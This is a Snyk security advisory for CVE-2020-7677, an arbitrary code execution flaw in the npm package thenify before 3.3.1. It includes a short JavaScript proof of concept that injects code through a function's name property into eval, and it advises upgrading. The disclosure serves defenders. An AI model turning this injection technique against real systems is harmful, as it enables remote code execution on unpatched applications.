Arbitrary Code Execution Affecting thenify package, versions <3.3.1
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.22% (60th
percentile)
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Test your applications- Snyk ID SNYK-JS-THENIFY-571690
- published 15 Jun 2020
- disclosed 15 Jun 2020
- credit JHU System Security Lab
Introduced: 15 Jun 2020
CVE-2020-7677 Open this link in a new tabHow to fix?
Upgrade thenify to version 3.3.1 or higher.
Overview
thenify is a Promisify a callback-based function using any-promise.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.
PoC
var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);